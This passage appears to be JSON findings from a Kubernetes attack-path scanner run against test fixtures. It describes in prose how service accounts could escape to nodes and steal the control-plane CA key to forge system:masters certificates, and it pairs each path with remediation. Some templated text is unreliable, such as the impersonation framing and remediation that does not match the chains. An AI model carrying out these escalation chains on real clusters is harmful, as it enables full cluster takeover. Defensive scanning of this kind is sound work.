    "description": "Subject `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/` via `pod_host_escape` (hostNetwork): runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-z2vfd with hostNetwork\n  2. `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-psa-unlabeled",
      "namespace": "psa-unlabeled-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`.",
      "Acting as `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [hostNetwork]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `hostNetwork` that enables the first hop (`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `hostNetwork` that enables the first hop (`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-psa-unlabeled",
          "namespace": "psa-unlabeled-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "hostNetwork",
        "gains": "runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-z2vfd with hostNetwork"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-psa-unlabeled",
          "namespace": "psa-unlabeled-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/psaflip-fixtures/psaflip-flipper:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psaflip-fixtures/psaflip-flipper` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/psaflip-fixtures/psaflip-flipper` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/` via `namespace_psa_label_flip` (patch namespaces + create pods (psaflip-fixtures)): can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node\n  2. `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "psaflip-flipper",
      "namespace": "psaflip-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/psaflip-fixtures/psaflip-flipper`.",
      "Acting as `ServiceAccount/psaflip-fixtures/psaflip-flipper`, the attacker rewrites the `pod-security.kubernetes.io/enforce` label on a namespace that Pod Security Admission currently locks down (`patch namespaces + create pods (psaflip-fixtures)`), setting it to `privileged`. PSA reads its enforcement level from that label on every admission and nothing in-tree protects the label, so the next pod the attacker creates there, privileged or host-mounting, is admitted. The write on the Namespace object is authorized like any other RBAC request: a cluster-scoped grant reaches every namespace, and a namespaced Role granting `patch namespaces` reaches its own namespace, because the API server treats `/api/v1/namespaces/\u003cns\u003e` as a request in `\u003cns\u003e`.",
      "Acting as `ServiceAccount/psaflip-fixtures/psaflip-flipper`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. namespace_psa_label_flip [patch namespaces + create pods (psaflip-fixtures)]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "namespace_psa_label_flip",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "namespace_psa_label_flip",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `patch namespaces + create pods (psaflip-fixtures)` that enables the first hop (`ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `patch namespaces + create pods (psaflip-fixtures)` that enables the first hop (`ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "namespace_psa_label_flip",
        "technique": "KUBE-PRIVESC-035",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "psaflip-flipper",
          "namespace": "psaflip-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "patch namespaces + create pods (psaflip-fixtures)",
        "gains": "can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "psaflip-flipper",
          "namespace": "psaflip-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/rbac-fixtures/sa-nodes-proxy:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-nodes-proxy` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-nodes-proxy` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/` via `nodes_proxy` (get nodes/proxy): can reach kubelet API via nodes/proxy WebSocket verb confusion\n  2. `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-nodes-proxy",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-nodes-proxy`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-nodes-proxy`, the attacker uses `nodes/proxy` (`get nodes/proxy`) to forward requests directly to the kubelet on each node. Combined with the kubelet's `/exec` endpoint this becomes a primitive for running commands inside any pod the kubelet can see.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-nodes-proxy`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. nodes_proxy [get nodes/proxy]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "nodes_proxy",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "nodes_proxy",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `get nodes/proxy` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `get nodes/proxy` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "nodes_proxy",
        "technique": "KUBE-PRIVESC-012",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-nodes-proxy",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get nodes/proxy",
        "gains": "can reach kubelet API via nodes/proxy WebSocket verb confusion",
        "source_binding": "crb-nodes-proxy",
        "source_role": "cr-nodes-proxy"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-nodes-proxy",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/vulnerable/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/vulnerable/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/vulnerable/default` → `/` via `pod_host_escape` (hostPID,hostIPC): runs in pod vulnerable/host-ns-app-7cb46d5788-2bmjc with hostPID, hostIPC\n  2. `ServiceAccount/vulnerable/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/vulnerable/default`.",
      "Acting as `ServiceAccount/vulnerable/default`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/vulnerable/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [hostPID,hostIPC]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `hostPID,hostIPC` that enables the first hop (`ServiceAccount/vulnerable/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `hostPID,hostIPC` that enables the first hop (`ServiceAccount/vulnerable/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "hostPID,hostIPC",
        "gains": "runs in pod vulnerable/host-ns-app-7cb46d5788-2bmjc with hostPID, hostIPC"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/cloud-eks-test/eks-token-minter:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cloud-eks-test/eks-token-minter` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
